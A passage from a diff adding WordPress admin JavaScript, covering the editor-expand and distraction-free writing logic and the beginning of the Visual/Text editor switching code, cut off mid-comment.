+							} else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) {
+								// Pin the top.
+								fixedSideTop = true;
+
+								$sideSortables.css({
+									position: 'fixed',
+									top: pinnedToolsTop,
+									bottom: ''
+								});
+							}
+						}
+					}
+				} else {
+					// If the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling.
+					if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) {
+
+						$sideSortables.css( {
+							position: 'fixed',
+							top: pinnedToolsTop
+						} );
+					} else {
+						$sideSortables.attr( 'style', '' );
+					}
+
+					fixedSideTop = fixedSideBottom = false;
+				}
+
+				lastScrollPosition = windowPos;
+			} else {
+				$sideSortables.attr( 'style', '' );
+				fixedSideTop = fixedSideBottom = false;
+			}
+
+			if ( resize ) {
+				$contentWrap.css( {
+					paddingTop: heights.toolsHeight
+				} );
+
+				if ( visual ) {
+					$visualEditor.css( {
+						paddingTop: heights.visualTopHeight + heights.menuBarHeight
+					} );
+				} else {
+					$textEditor.css( {
+						marginTop: heights.textTopHeight
+					} );
+				}
+			}
+		}
+
+		/**
+		 * @summary Resizes the editor and adjusts the toolbars.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @returns {void}
+		 */
+		function fullscreenHide() {
+			textEditorResize();
+			adjust();
+		}
+
+		/**
+		 * @summary Runs the passed function with 500ms intervals.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param {function} callback The function to run in the timeout.
+		 *
+		 * @returns {void}
+		 */
+		function initialResize( callback ) {
+			for ( var i = 1; i < 6; i++ ) {
+				setTimeout( callback, 500 * i );
+			}
+		}
+
+		/**
+		 * @summary Runs adjust after 100ms.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @returns {void}
+		 */
+		function afterScroll() {
+			clearTimeout( scrollTimer );
+			scrollTimer = setTimeout( adjust, 100 );
+		}
+
+		/**
+		 * @summary Binds editor expand events on elements.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @returns {void}
+		 */
+		function on() {
+			/*
+			 * Scroll to the top when triggering this from JS.
+			 * Ensure the toolbars are pinned properly.
+			 */
+			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
+				window.scrollTo( window.pageXOffset, 0 );
+			}
+
+			$wrap.addClass( 'wp-editor-expand' );
+
+			// Adjust when the window is scrolled or resized.
+			$window.on( 'scroll.editor-expand resize.editor-expand', function( event ) {
+				adjust( event.type );
+				afterScroll();
+			} );
+
+			/*
+		 	 * Adjust when collapsing the menu, changing the columns
+		 	 * or changing the body class.
+			 */
+			$document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust )
+				.on( 'postbox-toggled.editor-expand postbox-moved.editor-expand', function() {
+					if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) {
+						fixedSideBottom = true;
+						window.scrollBy( 0, -1 );
+						adjust();
+						window.scrollBy( 0, 1 );
+					}
+
+					adjust();
+				}).on( 'wp-window-resized.editor-expand', function() {
+					if ( mceEditor && ! mceEditor.isHidden() ) {
+						mceEditor.execCommand( 'wpAutoResize' );
+					} else {
+						textEditorResize();
+					}
+				});
+
+			$textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize );
+			mceBind();
+
+			// Adjust when entering or exiting fullscreen mode.
+			fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide );
+
+			if ( mceEditor ) {
+				mceEditor.settings.wp_autoresize_on = true;
+				mceEditor.execCommand( 'wpAutoResizeOn' );
+
+				if ( ! mceEditor.isHidden() ) {
+					mceEditor.execCommand( 'wpAutoResize' );
+				}
+			}
+
+			if ( ! mceEditor || mceEditor.isHidden() ) {
+				textEditorResize();
+			}
+
+			adjust();
+
+			$document.trigger( 'editor-expand-on' );
+		}
+
+		/**
+		 * @summary Unbinds editor expand events.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @returns {void}
+		 */
+		function off() {
+			var height = parseInt( window.getUserSetting( 'ed_size', 300 ), 10 );
+
+			if ( height < 50 ) {
+				height = 50;
+			} else if ( height > 5000 ) {
+				height = 5000;
+			}
+
+			/*
+			 * Scroll to the top when triggering this from JS.
+			 * Ensure the toolbars are reset properly.
+			 */
+			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
+				window.scrollTo( window.pageXOffset, 0 );
+			}
+
+			$wrap.removeClass( 'wp-editor-expand' );
+
+			$window.off( '.editor-expand' );
+			$document.off( '.editor-expand' );
+			$textEditor.off( '.editor-expand' );
+			mceUnbind();
+
+			// Adjust when entering or exiting fullscreen mode.
+			fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide );
+
+			// Reset all css
+			$.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) {
+				element && element.attr( 'style', '' );
+			});
+
+			fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false;
+
+			if ( mceEditor ) {
+				mceEditor.settings.wp_autoresize_on = false;
+				mceEditor.execCommand( 'wpAutoResizeOff' );
+
+				if ( ! mceEditor.isHidden() ) {
+					$textEditor.hide();
+
+					if ( height ) {
+						mceEditor.theme.resizeTo( null, height );
+					}
+				}
+			}
+
+			// If there is a height found in the user setting.
+			if ( height ) {
+				$textEditor.height( height );
+			}
+
+			$document.trigger( 'editor-expand-off' );
+		}
+
+		// Start on load.
+		if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
+			on();
+
+			// Resize just after CSS has fully loaded and QuickTags is ready.
+			if ( $contentWrap.hasClass( 'html-active' ) ) {
+				initialResize( function() {
+					adjust();
+					textEditorResize();
+				} );
+			}
+		}
+
+		// Show the on/off checkbox.
+		$( '#adv-settings .editor-expand' ).show();
+		$( '#editor-expand-toggle' ).on( 'change.editor-expand', function() {
+			if ( $(this).prop( 'checked' ) ) {
+				on();
+				window.setUserSetting( 'editor_expand', 'on' );
+			} else {
+				off();
+				window.setUserSetting( 'editor_expand', 'off' );
+			}
+		});
+
+		// Expose on() and off().
+		window.editorExpand = {
+			on: on,
+			off: off
+		};
+	} );
+
+	/**
+	 * @summary Handles the distraction free writing of TinyMCE.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @returns {void}
+	 */
+	$( function() {
+		var $body = $( document.body ),
+			$wrap = $( '#wpcontent' ),
+			$editor = $( '#post-body-content' ),
+			$title = $( '#title' ),
+			$content = $( '#content' ),
+			$overlay = $( document.createElement( 'DIV' ) ),
+			$slug = $( '#edit-slug-box' ),
+			$slugFocusEl = $slug.find( 'a' )
+				.add( $slug.find( 'button' ) )
+				.add( $slug.find( 'input' ) ),
+			$menuWrap = $( '#adminmenuwrap' ),
+			$editorWindow = $(),
+			$editorIframe = $(),
+			_isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on',
+			_isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false,
+			traveledX = 0,
+			traveledY = 0,
+			buffer = 20,
+			faded, fadedAdminBar, fadedSlug,
+			editorRect, x, y, mouseY, scrollY,
+			focusLostTimer, overlayTimer, editorHasFocus;
+
+		$body.append( $overlay );
+
+		$overlay.css( {
+			display: 'none',
+			position: 'fixed',
+			top: $adminBar.height(),
+			right: 0,
+			bottom: 0,
+			left: 0,
+			'z-index': 9997
+		} );
+
+		$editor.css( {
+			position: 'relative'
+		} );
+
+		$window.on( 'mousemove.focus', function( event ) {
+			mouseY = event.pageY;
+		} );
+
+		/**
+		 * @summary Recalculates the bottom and right position of the editor in the DOM.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function recalcEditorRect() {
+			editorRect = $editor.offset();
+			editorRect.right = editorRect.left + $editor.outerWidth();
+			editorRect.bottom = editorRect.top + $editor.outerHeight();
+		}
+
+		/**
+		 * @summary Activates the distraction free writing mode.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function activate() {
+			if ( ! _isActive ) {
+				_isActive = true;
+
+				$document.trigger( 'dfw-activate' );
+				$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
+			}
+		}
+
+		/**
+		 * @summary Deactivates the distraction free writing mode.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function deactivate() {
+			if ( _isActive ) {
+				off();
+
+				_isActive = false;
+
+				$document.trigger( 'dfw-deactivate' );
+				$content.off( 'keydown.focus-shortcut' );
+			}
+		}
+
+		/**
+		 * @summary Returns _isActive.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {boolean} Returns true is _isActive is true.
+		 */
+		function isActive() {
+			return _isActive;
+		}
+
+		/**
+		 * @summary Binds events on the editor for distraction free writing.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function on() {
+			if ( ! _isOn && _isActive ) {
+				_isOn = true;
+
+				$content.on( 'keydown.focus', fadeOut );
+
+				$title.add( $content ).on( 'blur.focus', maybeFadeIn );
+
+				fadeOut();
+
+				window.setUserSetting( 'post_dfw', 'on' );
+
+				$document.trigger( 'dfw-on' );
+			}
+		}
+
+		/**
+		 * @summary Unbinds events on the editor for distraction free writing.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function off() {
+			if ( _isOn ) {
+				_isOn = false;
+
+				$title.add( $content ).off( '.focus' );
+
+				fadeIn();
+
+				$editor.off( '.focus' );
+
+				window.setUserSetting( 'post_dfw', 'off' );
+
+				$document.trigger( 'dfw-off' );
+			}
+		}
+
+		/**
+		 * @summary Binds or unbinds the editor expand events.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function toggle() {
+			if ( _isOn ) {
+				off();
+			} else {
+				on();
+			}
+		}
+
+		/**
+		 * @summary Returns the value of _isOn.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {boolean} Returns true if _isOn is true.
+		 */
+		function isOn() {
+			return _isOn;
+		}
+
+		/**
+		 * @summary Fades out all elements except for the editor.
+		 *
+		 * The fading is done based on key presses and mouse movements.
+		 * Also calls the fadeIn on certain key presses
+		 * or if the mouse leaves the editor.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param event The event that triggers this function.
+		 *
+		 * @returns {void}
+		 */
+		function fadeOut( event ) {
+			var isMac,
+				key = event && event.keyCode;
+
+			if ( window.navigator.platform ) {
+				isMac = ( window.navigator.platform.indexOf( 'Mac' ) > -1 );
+			}
+
+			// Fade in and returns on Escape and keyboard shortcut Alt+Shift+W and Ctrl+Opt+W.
+			if ( key === 27 || ( key === 87 && event.altKey && ( ( ! isMac && event.shiftKey ) || ( isMac && event.ctrlKey ) ) ) ) {
+				fadeIn( event );
+				return;
+			}
+
+			// Return if any of the following keys or combinations of keys is pressed.
+			if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && (
+				// Special keys ( tab, ctrl, alt, esc, arrow keys... )
+				( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) ||
+				// Windows keys
+				( key >= 91 && key <= 93 ) ||
+				// F keys
+				( key >= 112 && key <= 135 ) ||
+				// Num Lock, Scroll Lock, OEM
+				( key >= 144 && key <= 150 ) ||
+				// OEM or non-printable
+				key >= 224
+			) ) ) ) {
+				return;
+			}
+
+			if ( ! faded ) {
+				faded = true;
+
+				clearTimeout( overlayTimer );
+
+				overlayTimer = setTimeout( function() {
+					$overlay.show();
+				}, 600 );
+
+				$editor.css( 'z-index', 9998 );
+
+				$overlay
+					// Always recalculate the editor area when entering the overlay with the mouse.
+					.on( 'mouseenter.focus', function() {
+						recalcEditorRect();
+
+						$window.on( 'scroll.focus', function() {
+							var nScrollY = window.pageYOffset;
+
+							if ( (
+								scrollY && mouseY &&
+								scrollY !== nScrollY
+							) && (
+								mouseY < editorRect.top - buffer ||
+								mouseY > editorRect.bottom + buffer
+							) ) {
+								fadeIn();
+							}
+
+							scrollY = nScrollY;
+						} );
+					} )
+					.on( 'mouseleave.focus', function() {
+						x = y =  null;
+						traveledX = traveledY = 0;
+
+						$window.off( 'scroll.focus' );
+					} )
+					// Fade in when the mouse moves away form the editor area.
+					.on( 'mousemove.focus', function( event ) {
+						var nx = event.clientX,
+							ny = event.clientY,
+							pageYOffset = window.pageYOffset,
+							pageXOffset = window.pageXOffset;
+
+						if ( x && y && ( nx !== x || ny !== y ) ) {
+							if (
+								( ny <= y && ny < editorRect.top - pageYOffset ) ||
+								( ny >= y && ny > editorRect.bottom - pageYOffset ) ||
+								( nx <= x && nx < editorRect.left - pageXOffset ) ||
+								( nx >= x && nx > editorRect.right - pageXOffset )
+							) {
+								traveledX += Math.abs( x - nx );
+								traveledY += Math.abs( y - ny );
+
+								if ( (
+									ny <= editorRect.top - buffer - pageYOffset ||
+									ny >= editorRect.bottom + buffer - pageYOffset ||
+									nx <= editorRect.left - buffer - pageXOffset ||
+									nx >= editorRect.right + buffer - pageXOffset
+								) && (
+									traveledX > 10 ||
+									traveledY > 10
+								) ) {
+									fadeIn();
+
+									x = y =  null;
+									traveledX = traveledY = 0;
+
+									return;
+								}
+							} else {
+								traveledX = traveledY = 0;
+							}
+						}
+
+						x = nx;
+						y = ny;
+					} )
+
+					// When the overlay is touched, fade in and cancel the event.
+					.on( 'touchstart.focus', function( event ) {
+						event.preventDefault();
+						fadeIn();
+					} );
+
+				$editor.off( 'mouseenter.focus' );
+
+				if ( focusLostTimer ) {
+					clearTimeout( focusLostTimer );
+					focusLostTimer = null;
+				}
+
+				$body.addClass( 'focus-on' ).removeClass( 'focus-off' );
+			}
+
+			fadeOutAdminBar();
+			fadeOutSlug();
+		}
+
+		/**
+		 * @summary Fades all elements back in.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param event The event that triggers this function.
+		 *
+		 * @returns {void}
+		 */
+		function fadeIn( event ) {
+			if ( faded ) {
+				faded = false;
+
+				clearTimeout( overlayTimer );
+
+				overlayTimer = setTimeout( function() {
+					$overlay.hide();
+				}, 200 );
+
+				$editor.css( 'z-index', '' );
+
+				$overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' );
+
+				/*
+				 * When fading in, temporarily watch for refocus and fade back out - helps
+				 * with 'accidental' editor exits with the mouse. When fading in and the event
+				 * is a key event (Escape or Alt+Shift+W) don't watch for refocus.
+				 */
+				if ( 'undefined' === typeof event ) {
+					$editor.on( 'mouseenter.focus', function() {
+						if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) {
+							fadeOut();
+						}
+					} );
+				}
+
+				focusLostTimer = setTimeout( function() {
+					focusLostTimer = null;
+					$editor.off( 'mouseenter.focus' );
+				}, 1000 );
+
+				$body.addClass( 'focus-off' ).removeClass( 'focus-on' );
+			}
+
+			fadeInAdminBar();
+			fadeInSlug();
+		}
+
+		/**
+		 * @summary Fades in if the focused element based on it position.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function maybeFadeIn() {
+			setTimeout( function() {
+				var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) );
+
+				function hasFocus( $el ) {
+					return $.contains( $el.get( 0 ), document.activeElement );
+				}
+
+				// The focused node is before or behind the editor area, and not outside the wrap.
+				if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) {
+					fadeIn();
+				}
+			}, 0 );
+		}
+
+		/**
+		 * @summary Fades out the admin bar based on focus on the admin bar.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function fadeOutAdminBar() {
+			if ( ! fadedAdminBar && faded ) {
+				fadedAdminBar = true;
+
+				$adminBar
+					.on( 'mouseenter.focus', function() {
+						$adminBar.addClass( 'focus-off' );
+					} )
+					.on( 'mouseleave.focus', function() {
+						$adminBar.removeClass( 'focus-off' );
+					} );
+			}
+		}
+
+		/**
+		 * @summary Fades in the admin bar.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function fadeInAdminBar() {
+			if ( fadedAdminBar ) {
+				fadedAdminBar = false;
+
+				$adminBar.off( '.focus' );
+			}
+		}
+
+		/**
+		 * @summary Fades out the edit slug box.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function fadeOutSlug() {
+			if ( ! fadedSlug && faded && ! $slug.find( ':focus').length ) {
+				fadedSlug = true;
+
+				$slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' );
+
+				$slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' );
+			}
+		}
+
+		/**
+		 * @summary Fades in the edit slug box.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @returns {void}
+		 */
+		function fadeInSlug() {
+			if ( fadedSlug ) {
+				fadedSlug = false;
+
+				$slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' );
+
+				$slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' );
+			}
+		}
+
+		/**
+		 * @summary Triggers the toggle on Alt + Shift + W.
+		 *
+		 * Keycode 87 = w.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {event} event The event to trigger the toggle.
+		 *
+		 * @returns {void}
+		 */
+		function toggleViaKeyboard( event ) {
+			if ( event.altKey && event.shiftKey && 87 === event.keyCode ) {
+				toggle();
+			}
+		}
+
+		if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) {
+			$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
+		}
+
+		/**
+		 * @summary Adds the distraction free writing button when setting up TinyMCE.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {event} event The TinyMCE editor setup event.
+		 * @param {object} editor The editor to add the button to.
+		 *
+		 * @returns {void}
+		 */
+		$document.on( 'tinymce-editor-setup.focus', function( event, editor ) {
+			editor.addButton( 'dfw', {
+				active: _isOn,
+				classes: 'wp-dfw btn widget',
+				disabled: ! _isActive,
+				onclick: toggle,
+				onPostRender: function() {
+					var button = this;
+
+					$document
+					.on( 'dfw-activate.focus', function() {
+						button.disabled( false );
+					} )
+					.on( 'dfw-deactivate.focus', function() {
+						button.disabled( true );
+					} )
+					.on( 'dfw-on.focus', function() {
+						button.active( true );
+					} )
+					.on( 'dfw-off.focus', function() {
+						button.active( false );
+					} );
+				},
+				tooltip: 'Distraction-free writing mode',
+				shortcut: 'Alt+Shift+W'
+			} );
+
+			editor.addCommand( 'wpToggleDFW', toggle );
+			editor.addShortcut( 'access+w', '', 'wpToggleDFW' );
+		} );
+
+		/**
+		 * @summary Binds and unbinds events on the editor.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {event} event The TinyMCE editor init event.
+		 * @param {object} editor The editor to bind events on.
+		 *
+		 * @returns {void}
+		 */
+		$document.on( 'tinymce-editor-init.focus', function( event, editor ) {
+			var mceBind, mceUnbind;
+
+			function focus() {
+				editorHasFocus = true;
+			}
+
+			function blur() {
+				editorHasFocus = false;
+			}
+
+			if ( editor.id === 'content' ) {
+				$editorWindow = $( editor.getWin() );
+				$editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' );
+
+				mceBind = function() {
+					editor.on( 'keydown', fadeOut );
+					editor.on( 'blur', maybeFadeIn );
+					editor.on( 'focus', focus );
+					editor.on( 'blur', blur );
+					editor.on( 'wp-autoresize', recalcEditorRect );
+				};
+
+				mceUnbind = function() {
+					editor.off( 'keydown', fadeOut );
+					editor.off( 'blur', maybeFadeIn );
+					editor.off( 'focus', focus );
+					editor.off( 'blur', blur );
+					editor.off( 'wp-autoresize', recalcEditorRect );
+				};
+
+				if ( _isOn ) {
+					mceBind();
+				}
+
+				// Bind and unbind based on the distraction free writing focus.
+				$document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind );
+
+				// Focuse the editor when it is the target of the click event.
+				editor.on( 'click', function( event ) {
+					if ( event.target === editor.getDoc().documentElement ) {
+						editor.focus();
+					}
+				} );
+			}
+		} );
+
+		/**
+		 * @summary  Binds events on quicktags init.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {event} event The quicktags init event.
+		 * @param {object} editor The editor to bind events on.
+		 *
+		 * @returns {void}
+		 */
+		$document.on( 'quicktags-init', function( event, editor ) {
+			var $button;
+
+			// Bind the distraction free writing events if the distraction free writing button is available.
+			if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) {
+				$button = $( '#' + editor.name + '_dfw' );
+
+				$( document )
+				.on( 'dfw-activate', function() {
+					$button.prop( 'disabled', false );
+				} )
+				.on( 'dfw-deactivate', function() {
+					$button.prop( 'disabled', true );
+				} )
+				.on( 'dfw-on', function() {
+					$button.addClass( 'active' );
+				} )
+				.on( 'dfw-off', function() {
+					$button.removeClass( 'active' );
+				} );
+			}
+		} );
+
+		$document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate );
+
+		if ( _isOn ) {
+			$content.on( 'keydown.focus', fadeOut );
+
+			$title.add( $content ).on( 'blur.focus', maybeFadeIn );
+		}
+
+		window.wp = window.wp || {};
+		window.wp.editor = window.wp.editor || {};
+		window.wp.editor.dfw = {
+			activate: activate,
+			deactivate: deactivate,
+			isActive: isActive,
+			on: on,
+			off: off,
+			toggle: toggle,
+			isOn: isOn
+		};
+	} );
+} )( window, window.jQuery );
Index: /tags/5.0.20/src/wp-admin/js/editor.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/editor.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/editor.js	(revision 56912)
@@ -0,0 +1,1409 @@
+window.wp = window.wp || {};
+
+( function( $, wp ) {
+	wp.editor = wp.editor || {};
+
+	/**
+	 * @summary Utility functions for the editor.
+	 *
+	 * @since 2.5.0
+	 */
+	function SwitchEditors() {
+		var tinymce, $$,
+			exports = {};
+
+		function init() {
+			if ( ! tinymce && window.tinymce ) {
+				tinymce = window.tinymce;
+				$$ = tinymce.$;
+
+				/**
+				 * @summary Handles onclick events for the Visual/Text tabs.
+				 *
+				 * @since 4.3.0
+				 *
+				 * @returns {void}
+				 */
+				$$( document ).on( 'click', function( event ) {
+					var id, mode,
+						target = $$( event.target );
+
+					if ( target.hasClass( 'wp-switch-editor' ) ) {
+						id = target.attr( 'data-wp-editor-id' );
+						mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html';
+						switchEditor( id, mode );
+					}
+				});
+			}
+		}
+
+		/**
+		 * @summary Returns the height of the editor toolbar(s) in px.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param {Object} editor The TinyMCE editor.
+		 * @returns {number} If the height is between 10 and 200 return the height,
+		 * else return 30.
+		 */
+		function getToolbarHeight( editor ) {
+			var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0],
+				height = node && node.clientHeight;
+
+			if ( height && height > 10 && height < 200 ) {
+				return parseInt( height, 10 );
+			}
+
+			return 30;
+		}
+
+		/**
+		 * @summary Switches the editor between Visual and Text mode.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @memberof switchEditors
+		 *
+		 * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`.
+		 * @param {string} mode The mode you want to switch to. Default: `toggle`.
+		 * @returns {void}
+		 */
+		function switchEditor( id, mode ) {
+			id = id || 'content';
+			mode = mode || 'toggle';
+
+			var editorHeight, toolbarHeight, iframe,
+				editor = tinymce.get( id ),
+				wrap = $$( '#wp-' + id + '-wrap' ),
+				$textarea = $$( '#' + id ),
+				textarea = $textarea[0];
+
+			if ( 'toggle' === mode ) {
+				if ( editor && ! editor.isHidden() ) {
+					mode = 'html';
+				} else {
+					mode = 'tmce';
+				}
+			}
+
+			if ( 'tmce' === mode || 'tinymce' === mode ) {
+				// If the editor is visible we are already in `tinymce` mode.
+				if ( editor && ! editor.isHidden() ) {
+					return false;
+				}
+
+				// Insert closing tags for any open tags in QuickTags.
+				if ( typeof( window.QTags ) !== 'undefined' ) {
+					window.QTags.closeAllTags( id );
+				}
+
+				editorHeight = parseInt( textarea.style.height, 10 ) || 0;
+
+				var keepSelection = false;
+				if ( editor ) {
+					keepSelection = editor.getParam( 'wp_keep_scroll_position' );
+				} else {
+					keepSelection = window.tinyMCEPreInit.mceInit[ id ] &&
+									window.tinyMCEPreInit.mceInit[ id ].wp_keep_scroll_position;
+				}
+
+				if ( keepSelection ) {
+					// Save the selection
+					addHTMLBookmarkInTextAreaContent( $textarea );
+				}
+
+				if ( editor ) {
+					editor.show();
+
+					// No point to resize the iframe in iOS.
+					if ( ! tinymce.Env.iOS && editorHeight ) {
+						toolbarHeight = getToolbarHeight( editor );
+						editorHeight = editorHeight - toolbarHeight + 14;
+
+						// Sane limit for the editor height.
+						if ( editorHeight > 50 && editorHeight < 5000 ) {
+							editor.theme.resizeTo( null, editorHeight );
+						}
+					}
+
+					if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
+						// Restore the selection
+						focusHTMLBookmarkInVisualEditor( editor );
+					}
+				} else {
+					tinymce.init( window.tinyMCEPreInit.mceInit[ id ] );
+				}
+
+				wrap.removeClass( 'html-active' ).addClass( 'tmce-active' );
+				$textarea.attr( 'aria-hidden', true );
+				window.setUserSetting( 'editor', 'tinymce' );
+
+			} else if ( 'html' === mode ) {
+				// If the editor is hidden (Quicktags is shown) we don't need to switch.
+				if ( editor && editor.isHidden() ) {
+					return false;
+				}
+
+				if ( editor ) {
+					// Don't resize the textarea in iOS. The iframe is forced to 100% height there, we shouldn't match it.
+					if ( ! tinymce.Env.iOS ) {
+						iframe = editor.iframeElement;
+						editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0;
+
+						if ( editorHeight ) {
+							toolbarHeight = getToolbarHeight( editor );
+							editorHeight = editorHeight + toolbarHeight - 14;
+
+							// Sane limit for the textarea height.
+							if ( editorHeight > 50 && editorHeight < 5000 ) {
+								textarea.style.height = editorHeight + 'px';
+							}
+						}
+					}
+
+					var selectionRange = null;
+
+					if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
+						selectionRange = findBookmarkedPosition( editor );
+					}
+
+					editor.hide();
+
+					if ( selectionRange ) {
+						selectTextInTextArea( editor, selectionRange );
+					}
+				} else {
+					// There is probably a JS error on the page. The TinyMCE editor instance doesn't exist. Show the textarea.
+					$textarea.css({ 'display': '', 'visibility': '' });
+				}
+
+				wrap.removeClass( 'tmce-active' ).addClass( 'html-active' );
+				$textarea.attr( 'aria-hidden', false );
+				window.setUserSetting( 'editor', 'html' );
+			}
+		}
+
+		/**
+		 * @summary Checks if a cursor is inside an HTML tag.
+		 *
+		 * In order to prevent breaking HTML tags when selecting text, the cursor
+		 * must be moved to either the start or end of the tag.
+		 *
+		 * This will prevent the selection marker to be inserted in the middle of an HTML tag.
+		 *
+		 * This function gives information whether the cursor is inside a tag or not, as well as
+		 * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag,
+		 * e.g. `[caption]<img.../>..`.
+		 *
+		 * @param {string} content The test content where the cursor is.
+		 * @param {number} cursorPosition The cursor position inside the content.
+		 *
+		 * @returns {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag.
+		 */
+		function getContainingTagInfo( content, cursorPosition ) {
+			var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ),
+				lastGtPos = content.lastIndexOf( '>', cursorPosition );
+
+			if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) {
+				// find what the tag is
+				var tagContent = content.substr( lastLtPos ),
+					tagMatch = tagContent.match( /<\s*(\/)?(\w+)/ );
+
+				if ( ! tagMatch ) {
+					return null;
+				}
+
+				var tagType = tagMatch[2],
+					closingGt = tagContent.indexOf( '>' );
+
+				return {
+					ltPos: lastLtPos,
+					gtPos: lastLtPos + closingGt + 1, // offset by one to get the position _after_ the character,
+					tagType: tagType,
+					isClosingTag: !! tagMatch[1]
+				};
+			}
+			return null;
+		}
+
+		/**
+		 * @summary Check if the cursor is inside a shortcode
+		 *
+		 * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to
+		 * move the selection marker to before or after the shortcode.
+		 *
+		 * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the
+		 * `<img/>` tag inside.
+		 *
+		 * `[caption]<span>ThisIsGone</span><img .../>[caption]`
+		 *
+		 * Moving the selection to before or after the short code is better, since it allows to select
+		 * something, instead of just losing focus and going to the start of the content.
+		 *
+		 * @param {string} content The text content to check against.
+		 * @param {number} cursorPosition    The cursor position to check.
+		 *
+		 * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag.
+		 *                                Information about the wrapping shortcode tag if it's wrapped in one.
+		 */
+		function getShortcodeWrapperInfo( content, cursorPosition ) {
+			var contentShortcodes = getShortCodePositionsInText( content );
+
+			for ( var i = 0; i < contentShortcodes.length; i++ ) {
+				var element = contentShortcodes[ i ];
+
+				if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) {
+					return element;
+				}
+			}
+		}
+
+		/**
+		 * Gets a list of unique shortcodes or shortcode-look-alikes in the content.
+		 *
+		 * @param {string} content The content we want to scan for shortcodes.
+		 */
+		function getShortcodesInText( content ) {
+			var shortcodes = content.match( /\[+([\w_-])+/g ),
+				result = [];
+
+			if ( shortcodes ) {
+				for ( var i = 0; i < shortcodes.length; i++ ) {
+					var shortcode = shortcodes[ i ].replace( /^\[+/g, '' );
+
+					if ( result.indexOf( shortcode ) === -1 ) {
+						result.push( shortcode );
+					}
+				}
+			}
+
+			return result;
+		}
+
+		/**
+		 * @summary Get all shortcodes and their positions in the content
+		 *
+		 * This function returns all the shortcodes that could be found in the textarea content
